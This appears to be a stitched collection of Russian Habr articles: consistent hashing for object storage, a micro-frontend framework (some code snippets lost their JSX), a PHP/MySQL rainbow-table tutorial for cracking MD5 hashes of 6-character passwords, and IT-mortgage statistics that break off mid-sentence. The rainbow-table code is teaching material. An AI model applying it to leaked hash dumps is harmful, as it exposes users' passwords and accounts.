Правда, теперь у нас есть две группы дисков. Как нам размещать на них объекты и получать их обратно? Нужен способ выбирать одну группу дисков для объекта и каждый раз при обращении к этому объекту работать именно с ней.
Такие задачи обычно решаются хэшированием — вычислением числа на основе имени объекта. Математика хэшей работает так, что для одного и того же имени всегда будет получаться одинаковое число, но для разных имен числа скорее всего никогда не совпадут.
Чтобы определить номер группы по хэшу, будем брать остаток от деления хэша на количество групп. Это распространенный подход, который даст относительно равномерное распределение:
![](https://habrastorage.org/r/w1560/webt/yh/ks/c5/yhksc5ymkprsbfnwfaorihjff84.png)
Чтобы различать группы дисков, мы их пронумеровали: 0 и 1. Как это теперь работает:
1. Клиент отправляет в **proxy-api** запрос на получение объекта.
2. На основе хеша от имени объекта **proxy-api** вычисляет номер группы, в которой должна храниться информация, — в нашем случае это группа 1.
3. **proxy-api** отправляет запросы в **object-api**, указывая, что мы работаем с группой дисков 1.
4. Дальнейшие действия происходят, как и раньше. Репликатор теперь обновляет данные в каждой группе независимо.
Такая архитектура уже похожа на то, что мы пытаемся сделать, но у нее есть большие проблемы.
Во-первых, при добавлении новых групп дисков распределение значений изменится и потребуется серьезная миграция данных между группами. Это связано с тем, что результат взятия остатка от деления изменится для всех объектов, в том числе для уже существующих. Во-вторых, рано или поздно место для дисков в шасси закончится, и для расширения объема потребуется добавить сразу 3 новых сервера.
В общем, как-то несерьезно. Вылезем из песочницы и придумаем что-то похитрее.
Играем с хэшами
---------------
Начнем с проблемы распределения значений. Насколько значительная часть данных должна мигрировать между старыми группами при добавлении новой? Возьмем Python и посчитаем:
```
DATA_COUNT = 2 ** 16 # Количество объектов в хранилище. Допустим, 65536 штук
GROUPS_COUNT_BEFORE = 2 # Количество групп дисков до масштабирования
GROUPS_COUNT_AFTER = 3 # Количество групп дисков после масштабирования
print(f'Cluster scaling: {GROUPS_COUNT_BEFORE} -> {GROUPS_COUNT_AFTER} groups')
changed = 0
# Небольшое допущение: мы будем использовать монотонный счетчик вместо хэша.
# Это сделано, чтобы сделать код более читаемым, и незначительно влияет на результат теста.
for i in range(DATA_COUNT):
# Вычисляем номер группы до масштабирования
group_before = i % GROUPS_COUNT_BEFORE
# Вычисляем номер группы после масштабирования
group_after = i % GROUPS_COUNT_AFTER
# Считаем количество объектов, для которых изменится номер группы
if group_before != group_after:
changed += 1
percent_changed = round(changed / DATA_COUNT * 100, 2)
print(f'Total changed: {changed} of {DATA_COUNT} ({percent_changed}%)')
```
Посчитаем, у скольких объектов изменится номер группы дисков при изменении их количества с 2 до 3. Запустим код:
```
user@machine ~ % python3 ./calculate-data-migration.py
Cluster scaling: 2 -> 3 groups
Total changed: 43690 of 65536 (66.67%)
```
Опасения не напрасны: около ⅔ объектов придется мигрировать между группами для добавления ⅓ объема. Может, ситуация будет не так плоха в будущем? Например, что будет, когда мы дорастем до 8 групп и захотим добавить еще одну?
Поменяем значения и запустим:
```
user@machine ~ % python3 ./calculate-data-migration.py
Cluster scaling: 8 -> 9 groups
Total changed: 58248 of 65536 (88.88%)
```
Ситуация и правда изменилась, но не в нашу пользу. Добавление девятой группы выльется в миграцию уже 89% данных. Мы переместим намного больше информации между существующими группами, чем отправим в новую.
Здесь стоит отметить, что миграция — это никогда не праздник. Ее хочется избежать по нескольким причинам:
1. Это потенциально высокая нагрузка на сеть и диски, а ведь там «живут» клиенты.
2. Это может вызвать временную недоступность клиентских данных, пока они доезжают до новых дисков.
3. Это может вызвать потерю консистентности данных, если во время миграции клиент захочет их изменить.
Но как сделать так, чтобы при добавлении новой группы дисков не приходилось жонглировать практически всем содержимым кластера? Да и сами группы, как уже говорилось, не самая удобная единица для масштабирования – нет радости в том, чтобы всегда добавлять ровно по 3 диска, а не 2 или 4.
Проектируем как взрослые
------------------------
Что если мы сможем сделать миграции данных контролируемыми? Хэширование и остаток от деления — это просто, но архитектурно это обязывает нас перестраивать содержимое дисков сразу после введения новых хостов.
Первое, что приходит в голову: разделить вычисленный номер группы и реальный, а отдельно хранить их сопоставление. Но это нам не помогает. Мы даже не сможем отсрочить проблемы, обновив сопоставление отложено, ведь группы не заменяют друг друга полностью, просто данные перемешиваются между ними. Нужно думать дальше.
Что если развить эту мысль и при делении хеша назначать объектам «виртуальный» номер группы из намного большего диапазона? То есть за количество виртуальных групп мы возьмем такое число, к которому не приблизимся никогда – пусть это будет 16 384.
Теперь каждому объекту будет назначаться одна из 16 тысяч виртуальных групп. А отдельно мы будем хранить сопоставление, какие виртуальные группы назначены на физические. Тогда при добавлении новых групп дисков мы можем порционно перемещать виртуальные группы между ними, и миграции будут целиком под нашим контролем.
Но раз мы теперь храним в памяти сопоставление групп, то и сами группы как таковые нам больше не нужны. Теперь мы можем просто иметь список физических дисков и хостов, к которым они относятся. Наша задача будет состоять в том, чтобы каждую логическую группу присвоить 3-м дискам на разных машинах. Но на каких именно — значения не имеет. Бинго!
Давайте порисуем:
![](https://habrastorage.org/r/w1560/webt/r_/td/-b/r_td-bssqs2gnzfv74p3bdpi7_c.png)
Здесь я ввожу новый термин: partition (партиция). Именно так теперь и будем называть наши логические группы. Как и раньше, у нас остается **proxy-api**, который умеет вычислять номер партиции. Но теперь у него в памяти есть табличка, где каждая возможная партиция присвоена нескольким дискам. Теперь нужно перенаправить запрос на хосты и дело в шляпе.
Для примера мы взяли 8 партиций и 3 машины по 2 диска, чтобы наглядно показать распределение данных. В реальности такое количество партиций не подходит, так как равняется количеству дисков. Оптимальное значение будет значительно выше максимального количества дисков в нашем кластере. В целом, чем больше у нас партиций, тем более гранулярно мы управляем нашими данными и тем меньший объем миграций нам предстоит пережить.
Теперь мы можем расширять кластер, добавляя всего по одному хосту либо даже по одному диску к уже существующим. Если мы будем учитывать еще и объем дисков, сможем назначать каждому из них пропорциональное количество партиций и гибко управлять распределением данных.
Более того, миграции полностью в наших руках. Мы можем запускать их порционно, регулируя количество перемещаемых за раз данных или, что более важно, количество копий одной партиции. То есть если мы научим наш генератор сопоставлений не мигрировать одновременно больше одного экземпляра партиции. У нас всегда будет выполняться гарантия доступности 2 копий данных из 3, и потенциальные проблемы с недоступностью обойдут нас стороной.
Но что же с нашей главной проблемой? Приятно контролировать миграцию, но хотелось бы снизить ее масштаб. Это как раз еще одна приятная вещь, которую дает нам использование партиций. Дело в том, что при добавлении нового диска нам придется мигрировать `/` партиций, то есть только ровно столько данных, сколько должно оказаться на новом диске.
Напомню, что наша первая реализация принципиально меняла распределение данных и большая часть миграций приходилась на перемещение информации между старыми хостами. Теперь же, имея много маленьких партиций на каждом диске, мы можем аккуратно взять с каждого из них по чуть-чуть и переместить на новый диск только то, что нужно.
В остальном все то же самое: **object-api** производит действия с объектами на указанном диске в указанной директории, **proxy-api** считает хэши и делает запросы в нужные **object-api**, а компонент **replicator**, как и раньше, поддерживает консистентность локальной копии, только теперь в рамках партиций.
Прямо сейчас мы с вами изобрели Consistent Hashing. Такая штука используется в базах данных, в сетевой балансировке, а еще в OpenStack Swift. В терминологии последнего это называется кольцом (ring), а намного достовернее о его организации можно узнать из компиляции [статей](https://docs.openstack.org/swift/latest/ring_background.html).
Вспомним, какие задачи мы поставили себе в начале:
* Быстрое и удобное масштабирование — **выполнено**.
* Устойчивость к отказам отдельных нод и дисков, самовосстановление данных при потере меньшинства копий — **выполнено**.
* Равномерное распределение нагрузки на хосты и диски и объема данных внутри них — **выполнено частично**.
Кажется, вышло неплохо. Исключение — последний пункт. Во-первых, «горячие» объекты будут создавать значительную нагрузку на одни и те же диски и машины, а во-вторых, хэширование имен хоть и позволяет более-менее распределить объекты количественно, но все-таки не учитывает их размеры.
Но давайте пока оставим эти проблемы за кадром. Да, многие вещи просят иной реализации, но мы неспроста пришли именно к такой архитектуре. Ведь именно эта идея лежит в основе OpenStack Swift — проекта, когда-то ставшего основой для [нашего хранилища](https://slc.tl/78t4p).
Результат
---------
Мы едва ли обсудили вопросы размещения объектов, а уже стало понятно, что задача точно не сводится к чему-то существующему и требует грамотной проработки. Начинают прослеживаться причины ограничений объектных хранилищ и становится понятно, что впереди будет еще немало интересного.
В следующий частях мы поговорим о практике. О том, как работает сам OpenStack Swift, сколько кругов ада прошла наша команда в попытке заставить его работать хорошо и почему нельзя просто так взять и начать продавать OpenSource. | https://habr.com/ru/post/705908/ | null | ru | null |
# Web Apps: Micro Frontend фреймворк с поддержкой Module Federation
Хочу представить фреймворк для написания микрофронтеднов с поддержкой Webpack Module Federation. Фреймворк позволяет связывать приложения написанные на любых библиотеках, ванильном JS, и даже IFrame, если дела совсем плохи.
[Недавно была статья](https://habr.com/ru/company/ruvds/blog/505622/), где довольно подробно было расписано, что есть на рынке. Однако большинство решений навязывают некие дополнительные концепции, будь то раутинг или реестр приложений, хотя по факту иногда ничего из этого не нужно, а нужен лишь простой и легкий способ внедрить одно приложение в другое.
Но отступим на секунду назад, зачем вообще нужен подход с микро-фронтендами? В какой-то момент любое большое приложение перерастает само себя, билд процесс замедляется, каждое мелкое изменение выливается в минуты ожидания в watch mode, кода становится слишком много, и его уже невозможно эффективно поддерживать.
Проблема усугубляется если команда хочет переходить на новый стек/фреймворк. Мы пытались плавно перейти с одного фреймворка на другой, заменив один монолит другим. Весь период перехода приходилось поддерживать оба продукта, и когда мы, наконец, закончили финальный монолит оказался совершенно огромным. В какой-то момент была высказана идея начать дробить его на под-приложения, но каждое из них разрабатывалось разными командами, имело разный интерфейс общения с хост-приложением, а некоторые под-приложения вообще были IFrame, т.к. нужна была максимальная изоляция. Такой подход, не смотря на минусы зоопарка, проработал какое-то время и был весьма успешен. Но на долгую перспективу он не работал.
> Как включить приложение написанное на одном фреймворке в другое приложение на другом фреймворке? \*\*Нужен абстрактный оркестратор!\*\*
Прежде чем мы перейдем непосредственно к фреймворку, обозначим базовые термины:
![image](https://habrastorage.org/r/w1560/webt/5k/ja/cl/5kjaclx2yzbvihrhfqiedzoemxq.png)
* Хост — это приложение которое содержит в себе более мелкие приложения
* Под-приложение (или просто Приложение) — это IFrame, Глобальное Приложение или Приложение-Веб Компонент, которые включаются в хост, они в свою очередь могут быть хостами для более вложенных приложений
* Оркестратор: Web Apps Framework — агент, позволяющий хосту общаться с приложениями, загружать их и тд
* Приложения не говорят друг с другом напрямую, но хост может их соединить
Web Apps Framework
------------------
Web Apps framework это фреймворко-независимый способ внедрить любое приложение в любое приложение, с обобщенным коммуникационным интерфейсом и другими бонусами.
[Репозиторий](https://github.com/ringcentral/web-apps) и [демо](https://ringcentral-web-apps.vercel.app).
Рассмотрим скриншот из демо:
![](https://habrastorage.org/r/w1560/webt/ct/1q/h1/ct1qh17-3huzc1fzwrc2zvaw0fu.png)
Стрелки указывают на разные приложения, которые бесшовно связаны, но при этом могут быть отдельно разработаны и задеплоены. Два из них даже IFrame, что может быть полезно, если нужно внедрить лютый легаси-код, который вообще может быть написан без JS, или приложение которому нужна максимальная изоляция стилей и кода.
Само собой, существуют и другие фреймворки, делающие то же самое, но Web Apps отличается особым минимализмом по части оберток и загрузчиков, и предоставляет унифицированный интерфейс для всех фреймворков: Angular, Vue, React, jQuery, без JS вообще, и т.д.
Есть два способа вставить приложение, как веб-компонент, и более оптимизированная версия для React. Все что нужно — указать URL и вуаля, приложение будет загружено и вставлено в DOM хоста, а все обработчики событий автомагически будут созданы:
```
import {useApplication, eventType, useListenerEffect, dispatchEvent} from '@ringcentral/web-apps-host-react';
const Page = () => {
const {Component, node} = useApplication({
id: 'xxx',
type: 'script',
url: [
'http://example.com/styles.css', // стили тоже можно указывать
'http://example.com/bundle.js',
'http://example.com/entry.js'
]
});
useListenerEffect(node, eventType.message, (message) => {
alert(`message from app: ${message}`);
});
return <>
{
dispatchEvent(node, eventType.message, {foo: 'bar'})
}>Send Message
;
};
```
Коммуникация может быть через события или через props (они же HTML attributes, в зависимости от способа подключения). События передаются в любой тип приложений, включая IFrame, через одинаковый интерфейс, так что хост может подменять приложения в любой момент, без необходимости знать тип. Это пригодится если вам надо загружать приложение для главной контентной области в зависимости от URL, откуда может быть взять ID приложения (в демо сделано именно так).
Вот пример как внедрять приложение в хосты, которые не написаны на React:
```
// где-то в коде хоста
import '@ringcentral/web-apps-host-web-component';
// и просто добавить это в HTML/DOM
```
Как написать приложение?
------------------------
Никаких особых техник для подготовки приложения не требуется, просто пишете его как обычно, и добавляете небольшую обертку в самом начале, в зависимости от типа приложения:
Глобальное приложение — просто скрипт который получает DOM Node и вставляет в него приложение
Приложение-веб компонент — приложение загружается как скипт и создает Custom Element, в который завернуто все остальное, позволяет добиться более хорошей изоляции от хоста благодаря Shadow DOM и Shadow CSS
Приложения IFrame Apps — для дополнительной изоляции и безопасности, когда хост не может полностью доверять приложению и показывать его в той же среде, что и он сам
### Глобальные приложения
Допустим мы хотим внедрить приложение на React. С поддержкой Module Federation, точка входа будет выглядеть как просто `default export` функции, принимающей DOM Node и рисующей в ней приложение:
```
import React from "react";
import {render, unmountComponentAtNode} from "react-dom";
import {registerAppCallback} from "@ringcentral/web-apps-react";
import App from "./App";
export default (node) => {
ReactDOM.render(, node);
return () => ReactDOM.unmountComponentAtNode(node);
});
```
И все.
Мы плотно работали с авторами Module Federation (спасибо Zack Jackson) чтобы интеграция была максимально легкой.
Можно добавить `MutationObserver`, тогда можно пробросить изменения динамически в Реакт приложение в качестве props.
Если на хосте нет поддержки Module Federation, не беда, есть выход через простой JSONP-вызов:
```
import React from "react";
import {render, unmountComponentAtNode} from "react-dom";
import {registerAppCallback} from "@ringcentral/web-apps-react";
import App from "./App";
registerAppCallback('%appId%', (node) => {
ReactDOM.render(, node);
return () => ReactDOM.unmountComponentAtNode(node);
});
```
### Приложения на Web Component
Другой способ внедрить приложение — завернуть его в Web Component для лучшей изоляции CSS стилей посредством Shadow DOM и Shadow CSS:
```
import React from "react";
import {render, unmountComponentAtNode} from "react-dom";
import {App} from './app';
const template = document.createElement('template');
template.innerHTML = `
/\* shadow CSS \*/
`;
customElements.define('web-app-%appId%', class extends HTMLElement {
constructor() {
super();
this.attachShadow({mode: 'open'});
this.shadowRoot.appendChild(
document.importNode(template.content, true)
);
this.mount = this.shadowRoot.querySelector('.container');
}
connectedCallback() { render(
,
this.mount
) }
disconnectedCallback() { unmountComponentAtNode(this) }
});
```
Поскольку на изменения attributes можно подписаться, их можно пробросить в Реакт приложение.
### Приложения IFrame
Для использования IFrame не нужно вообще никакого кода в самом простом случае. Но если вы хотите коммуницировать, то можно добавить следующее:
```
import {
IFrameSync, dispatchEvent, eventType
} from '@ringcentral/web-apps-sync-iframe';
export const sync = new IFrameSync({
history: 'html5',
id: 'iframe',
origin: window.location,
});
// теперь можно слушать и посылать события
const node = sync.getEventTarget();
dispatchEvent(node, eventType.message, 'Hello from IFrame');
node.addEventListener(eventType.message, message => alert(message));
```
А что насчет общих библиотек?
Очевидно, как только у каждого приложения появляется свой билд-процесс, то все общие зависимости вроде react or react-dom начинают дублироваться. Иногда на это можно закрыть глаза, но иногда это проблема. Можно, конечно, обойтись externals, и другими трюками, но, к счастью, есть и более хорошее решение: Webpack 5 Module Federation.
Фреймворк Web Apps поддерживает Module Federation из коробки, и позволяет иметь общие зависимости между хостом и приложеиями, равно как и между приложениями (чего невозможно добиться стандартными костылями). Фреймворк и так довольно минималистичен, а федерация позволяет оптимизировать все еще больше. Module Federation также умеет автоматически догружать зависимости если хост не может их предоставить, грузить нужные версии. Настраивается все абсолютно стандартно:
```
// на хосте в webpack.config.js
module.exports = {
..., // all the usual stuff
plugins: [
new ModuleFederationPlugin({
name: 'web-app-host',
library: {type: 'var', name: 'web-app-host'},
shared: ['react', 'react-dom'],
}),
]
};
// в приложении в webpack.config.js
module.exports = {
..., // all the usual stuff
plugins: [
new ModuleFederationPlugin({
name: 'web_app_federated',
library: {type: 'var', name: 'web_app_federated'},
filename: 'remoteEntry.js',
exposes: {
'./index': './src/index',
},
shared: {
'react-dom': 'react-dom',
moment: '^2.24.0',
react: 'react',
},
}),
]
};
```
Вот и все, теперь хост и приложение могут иметь общие зависимости, чисто и прозрачно.
Еще немного об IFrame
---------------------
Естественно, никто не мешает просто взять и показать IFrame с приложением внутри. Сложности начинаются когда под-приложение внутри фрейма хочет коммуницировать с хостом, принимать и посылать сообщения, и показывать попапы.
Сообщения могут быть реализованы через PostMessage, но Web Apps упрощает и стандартизирует интерфейс, а также уберегает от "потопа" из широковещательных post messages.
А вот взаимодействие с попапами несколько хитрее.
![](https://habrastorage.org/r/w1560/webt/fg/rv/sz/fgrvszuayvnsbn-wseuqktp3uac.png)
Обратите внимание на визуальное различие хоста и приложения: серый фон под попапом не распространяется на хост (что неудивительно, т.к. он внутри фрейма). Выглядит некрасиво!
Web Apps фреймворк имеет специальный метод для избавления от этой проблемы, фрейм может послать сообщение, что открыт попап с фоном определенного цвета, на хосте будет создан слой с совпадающим цветом, поэтому разница не будет заметна. Если кликнуть по этому слою в хосте попап закроется внутри фрейма.
![](https://habrastorage.org/r/w1560/webt/ef/ob/zj/efobzjtpuvfi3fy-is-8nepdxvq.png)
Как можно увидеть, границы больше нет.
Также фреймворк умеет синхронизировать высоту фрейма и содержимое фрейма, чтобы длинные тексты отображались без подрезок.
Итого
-----
Подытожим ключевые возможности Web Apps Framework:
* Поддержка Module Federation
* Синхронизация Location
* Возможность "глубоких ссылок" — “приложение из приложения” или “приложение на хост” или “хост на приложение”
* Унифицированный событийный интерфейс между хостом и приложениями
* Поддержка подгонки размера IFrame под содержимое
* Поддержка всплывающих окон в IFrame
* Следование Веб стандартам
* Написан на TypeScript
* React и Web Component обертки для хоста
* Бесконечная вложенность приложений — приложение может являться хостом для следующих приложения
* Бесшовная навигация
[Репозиторий с примерами](https://github.com/ringcentral/web-apps) и [демо](https://ringcentral-web-apps.vercel.app).
Благодарности
-------------
[Zack Jackson](https://twitter.com/ScriptedAlchemy), [Chris Van Rensburg](https://www.linkedin.com/in/chrisvanrensburg) и [Антону Бульёнову](https://www.linkedin.com/in/bulyonov). | https://habr.com/ru/post/506830/ | null | ru | null |
# Радужные таблицы в домашних условиях
![](https://habrastorage.org/r/w1560/storage2/7f8/0dd/c15/7f80ddc15782dbf1ef29a127cc2bd1f5.png)
Прошедшая неделя с точки зрения информационной безопасности выдалась исключительно «удачной»: то [база хэшей LinkedIn](http://habrahabr.ru/post/145345/) утекла в сеть, то [хэши last.fm](http://habrahabr.ru/post/145448/). И во всех обсуждениях, так или иначе, упоминают о **радужных таблицах**.
Слышали о них почти все, но делали их своими руками очень немногие.
Думаю, не разумно рассказывать заново о том, что такое хеш и зачем в принципе нужны радужные таблицы или какие-то другие предвычисления. Для ликвидации белых пятен предлагается прочесть этот [топик](http://habrahabr.ru/post/82941/).
Интеллектуального прорыва в области радужных таблиц сегодня не планируется, а есть желание рассказать, что радужные таблицы – это не сложно, поэтому и писать будем на чем-то простом, а именно: PHP. Хранить таблицу в MySQL.
Весь код доступен на [GoogleCode](http://code.google.com/p/rainbowtable-php-mysql/), я же опишу основные моменты, над которыми пришлось подумать и которые необходимо реализовать.
Для начала необходимо поговорить о входном алфавите. В наборе паролей участвует не все символы ASCII таблицы, а только те, которые можно без лишних хитростей набрать на клавиатуре ПК или мобильного устройства. Чем меньше входной алфавит, тем быстрее будет сгенерирована радужная таблица, но и паролей по заданным хэшам найдется меньше. В нашем случае будем использовать входной алфавит из цифр и букв латинского алфавита верхнего и нижнего регистров.
```
$ALPHABET = array_merge(range(0, 9), range('A', 'Z'), range('a', 'z'));
$LAST_SYMBOL = count($ALPHABET) - 1; // индекс последнего доступного символа
```
Для создания радужной таблицы используются цепочки, начало которых – это некоторый случайный пароль фиксированной длины. Очевидно, необходима функция генерация случайных паролей из символов входного алфавита:
```
define('WORD_LENGTH', 6); // длина паролей, для которых строится радужная таблица
function getWord($newRandom = false) {
global $ALPHABET, $LAST_SYMBOL;
if($newRandom) {
mt_srand();
}
$word = $ALPHABET[mt_rand(0, $LAST_SYMBOL)];
for($i = 1; $i < WORD_LENGTH; ++$i) {
$word .= $ALPHABET[mt_rand(0, $LAST_SYMBOL)];
}
return $word;
}
```
Внутри цепочек попеременно применяется то хэш-функция, то функция редукции. С хэш-функцией все ясно – это MD5, SHA1 или любая другая (в нашем случае будем использовать MD5). С функцией редукции ясности меньше. Во-первых, функция редукции, получив на входе хэш, должна выдать некоторый пароль из символов входного алфавита. Во-вторых, функция редукции необходима не одна единственная, а упорядоченное множество функций редукции, причем мощность этого множества равна длине цепочки.
Конечно, можно было бы написать две-три функции редукции самостоятельно, но не в случае, когда длина цепочки равна 100 или 1000. Тем более, хотелось бы, чтобы длина цепочки хранилось в константе, которую можно заменить легким движением руки.
В голову приходить достаточно очевидное решение: нужно использовать [Генератор псевдослучайных чисел](http://ru.wikipedia.org/wiki/%D0%93%D0%B5%D0%BD%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%BF%D1%81%D0%B5%D0%B2%D0%B4%D0%BE%D1%81%D0%BB%D1%83%D1%87%D0%B0%D0%B9%D0%BD%D1%8B%D1%85_%D1%87%D0%B8%D1%81%D0%B5%D0%BB) (ГПСЧ). Для каждой конкретно взятой функции редукции инициализировать ГПСЧ определенным набором бит из хэша, поступающего на вход, а затем получать пароль с помощью вызова getWord().
В принципе действовать на уровне отдельных бит и не требуется. Инициализировать ГПСЧ нужно числом типа int, для моей платформы – это 32 бита или 4 байта. MD5 состоит из 16 байт (посмотрите на второй параметры у функции md5 в PHP), тогда количество возможных [размещений](http://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B7%D0%BC%D0%B5%D1%89%D0%B5%D0%BD%D0%B8%D0%B5) равно 16! / (16 — 4)! = 43680 – даже для длины цепочки в 1000 хватит с запасом.
Сказано – сделано:
```
define('CHAIN_LENGTH', 1000); // длина цепочки из хэшей и редукций
define('HASH_LAST_BYTE', 15); // номер последнего байта хэша, начиная с 0 (для MD5 – 15)
$reductions = array(); // массив, определяющий какие байты хэша для конкретной редукции нужны
mt_srand(CHAIN_LENGTH); // инициализируем генератор фиксированной величиной, чтобы от запуска к запуску при одной и той же длине цепочки функции редукции не менялись
$i = 0;
while($i < CHAIN_LENGTH) {
$positions = array();
$positions[] = mt_rand(0, HASH_LAST_BYTE);
for($j = 1; $j < 4; ++$j) {
do {
$ind = mt_rand(0, HASH_LAST_BYTE);
if(!in_array($ind, $positions)) {
$positions[] = $ind;
break;
}
}
while(true);
}
if(!in_array($positions, $reductions)) { // все редукции различны
$reductions[] = $positions;
++$i;
}
}
```
Тогда собственно функция редукции, принимающая на вход хэш и номер текущего шага в цепочке, будет иметь вид:
```
function reduction($hash, $step) {
global $reductions;
$pos = $reductions[$step % CHAIN_LENGTH];
mt_srand(ord($hash[$pos[0]]) | ord($hash[$pos[1]]) << 8 | ord($hash[$pos[2]]) << 16 | ord($hash[$pos[3]]) << 24);
return getWord();
}
```
С учетом всего вышеописанного функция расчета конца цепочки по ее началу тривиальна:
```
function getEndOfChain($word, $startStep = 0, $length = CHAIN_LENGTH) {
for($i = $startStep; $i < $length; ++$i) {
$hash = md5($word, true);
$word = reduction($hash, $i);
}
return $word;
}
```
Поздравляю, мы проделали большую работу, и остался только один аспект нахождения пароля по заданному хэшу, о котором необходимо рассказать.
В классическом варианте берется последняя n-ая функция редукции от хэша и получившийся пароль ищется в радужной таблице, если ничего не нашлось, берется n-1 редукция, потом вычисляется хэш, потом n-ая редукция и ищется в таблице и так далее, пока не найдется пароль. При использовании MySQL это могло бы вылиться в n однотипных SELECT-ов (в худшем случае) – даже начинающий веб-программист знает, что за это можно и по рукам получить! Конечно же, достаточно одного SELECT-а для поиска одного пароля, но для этого необходимо генерировать все пароли для поиска разом:
```
function getWordsInChain($hash) {
$words = array(); // массив последних слов в цепочке для длины 100, 99, 98 и тд
for($i = 0, $n = CHAIN_LENGTH; $i < $n; ++$i) {
$wordStart = reduction($hash, $i);
$wordEnd = getEndOfChain($wordStart, $i + 1);
$words[] = $wordEnd;
}
return $words;
}
```
Все остальные манипуляции с MySQL прямого отношения к радужным таблицам не имеют, а другие части исходного кода, по моему мнению, понятны и без объяснений.
И напоследок ложка дегтя. PHP и MySQL прекрасно справляются с созданием прототипов на скорую руку, но PHP действительно не самый быстрый язык и хранение радужной таблицы в реляционной СУБД общего назначения не самое эффективное решение. Радужную таблицу для MD5 для 6-символьных паролей с длиной цепочки 1000 из 2 миллионов записей ноутбук на базе i3-330UM генерировал более 8 часов. В идеале полученная таблица может обратить 2\*10^9 хэшей, но это число не соизмеримо с общим количеством 6-символьных паролей, которых 56,8\*10^9 на выбранном входном алфавите.
Это в очередной раз показывает, насколько важен выбор подходящего инструмента для решения конкретной задачи.
Думаю, что задачу наглядно продемонстрировать принцип реализации радужных таблиц мне на пару с PHP всё-таки удалось решить.
Спасибо за внимание. | https://habr.com/ru/post/145820/ | null | ru | null |
# Сколько выдано ипотек для специалистов ИТ
Время непростое, а жилищные условия не улучшаются сами, и являясь программистом средней руки, все чаще поглядываю на столь широко разрекламированную меру поддержки как [ипотека для специалистов области информационных технологий](https://%D1%81%D0%BF%D1%80%D0%BE%D1%81%D0%B8.%D0%B4%D0%BE%D0%BC.%D1%80%D1%84/instructions/usloviya-programmy-lgotnoy-ipoteki-dlya-it-spetsialistov/). Да еще и [новость](https://habr.com/ru/news/t/682004/) о изменения в программе подталкивает к ускорению решения, так как бюджет ограничен, вот я и решил посмотреть сколько выдано столь манящих рубликов да под пять то процентов. Данные я собираюсь брать вполне официальные, с сайта банка дом.рф, руководителем которого является легендарный Виталий ::НОУКРИМИНАЛИТИ:: Мутко.
![Директор финансового института развития в жилищной сфере АО «ДОМ.РФ»
](https://habrastorage.org/r/w1560/getpro/habr/upload_files/e9b/b5b/056/e9bb5b056401f1adba8f75fa7129059e.png "Директор финансового института развития в жилищной сфере АО «ДОМ.РФ»
")Директор финансового института развития в жилищной сфере АО «ДОМ.РФ»
Статья бы ничего не стоила, если бы на этом [сайте](https://%D0%B4%D0%BE%D0%BC.%D1%80%D1%84/mortgage/it-mortgage-report/) можно было бы подвигать датами, сортировками и прочими благами фронтенда. Отчет выгружается только за одну неделю работы программы, что нам не дает простора для анализа. Также можно скачать Excel файл также за одну неделю, и если бы я являлся богом табличек, то, наверно, собрал 17 файлов, а именно такое же количество недель на данный момент работает программа, и просто в ней красиво построил графики.
Любителям табличек, я написал [скрипт](https://github.com/Zharikov/it_mortgage/tree/main/excel_download), скачивающий эти файлы и приложил все доступные на данный момент.
Выгружать данные можно по вот такому URL, который несложным образом достается из внутренностей сайта.
> [https://дом.рф/ajax/itm\_weekly\_report.php?reportType=creditor&date=](https://xn--d1aqf.xn--p1ai/ajax/itm_weekly_report.php?reportType=creditor&date=)dd.mm.yyyy
>
> reportType - тип отчета по субъектам РФ - region или по банкам - creditor
>
> для выгрузки Excel надо добавить параметр format=xlsx
>
>
Параметры этого GET запроса я как только ни менял, но они действительно сделали только за неделю, не отрицаю возможности существования выгрузки всей статистики сразу, но не смог. Если мы осмелимся удалить все параметры запроса, то получим метаинформацию для отчета, запрос такой, конечно, не по заветам REST, но сейчас даже удобнее для универсализации изысканий, глядишь и через неделю смогу чего-нибудь посчитать. Выглядит она так
```
{
"requestDate": null,
"dates": [
"18.08.2022",
...................
"12.05.2022"
],
"creditors": [
"\"АЗИАТСКО-ТИХООКЕАНСКИЙ БАНК\" (АО)",
....................
"ТКБ БАНК ПАО"
],
"regions": [
"Алтайский край",
.....................
"Ярославская область"
]
}
```
Сами данные по отчетам отдаются также в формате JSON и для отчета по банкам выглядят так
```
{
"header": {
"main": [
"Наименование кредитора",
"Наименование региона",
"Принято заявок, шт.",
"Одобрено заявок, шт.",
"Количество отказов, шт.",
"Заключено кредитов, шт.",
"Заключено кредитов, млн руб.",
"Выдано кредитов, шт.",
"Выдано кредитов, млн руб."
],
"data": []
},
"data": [
[
"Итого",
"",
"635",
"464",
"122",
"216",
"1 983,26",
"205",
"1 874,84"
],
[Общая статистика по банку]
[Статистика по банку для каждого региона]
.......
]
}
```
а для отчета по регионам в обратном порядке, сначала по региону, а после статистика по региону для каждого банка.
Больше всего меня интересовала сначала значение ИТОГО, сколько выдали уже кредитов.
| | | | | | | |
| --- | --- | --- | --- | --- | --- | --- |
| Принято заявок, шт. | Одобрено заявок, шт. | Количество отказов, шт. | Заключено кредитов, шт. | Заключено кредитов, млн руб. | Выдано кредитов, шт. | Выдано кредитов, млн руб. |
| 25019 | 17054 | 4247 | 6183 | 55913.3 | 6054 | 54638.6 |
Если я правильно понимаю все формулировки, то средний размера кредита для этого продукта 9 миллионов рублей, внушительная сумму, но не удивляющая в виду цен на недвижимость. Учитывая, что такой льготой по ипотеке можно воспользоваться только один раз, то почти 3000 ипотек по 9 млн. руб., это, вероятно, хороший показатель. Среднюю, как обычно в подобных выборках смотреть не особо интересно, но данными для медианной не располагаем. Везде пишут о том, что выделено 1,5 млрд. рублей, в самом постановлении написано, что общий размер лимита займов должен быть 240 млрд.руб. Вообще деньги из резервного фонда идут на [возмещение разницы](http://static.government.ru/media/files/AwaQwrG8Tfk2uRUrMrXQYQzYsPB5vNr2.pdf) банкам заявленной льготной ставки в 5% до [ключевой ставки](https://www.cbr.ru/hd_base/KeyRate/) +2.5% для квартир и +4.5% для остальных объектов на первый календарный день месяца. Нужно учитывать тот факт, что средний срок ипотеки на первичное жилье в стране подрос, по [разным данным он разный](https://frankrg.com/data-hub/category/mortgage/chart/29515), возьмем 24 года. Если считать честно то конечно надо взять по каждой неделе и смотреть ставки, но это слишком сложные подсчеты, которые пока все равно будут весьма приблизительными, так как люди успели заплатить 2-3 платежа, также ЦБ сейчас обещает только снижать ставку, хотелось бы верить. Будем считать, что актуальная ставка 8% будет держаться продолжительное время, то есть 8% + 2.5% ставка от которой государство субсидирует до 5%. Посчитаем при параметрах аннуитетные платежи 24 года 9 млн и ставку 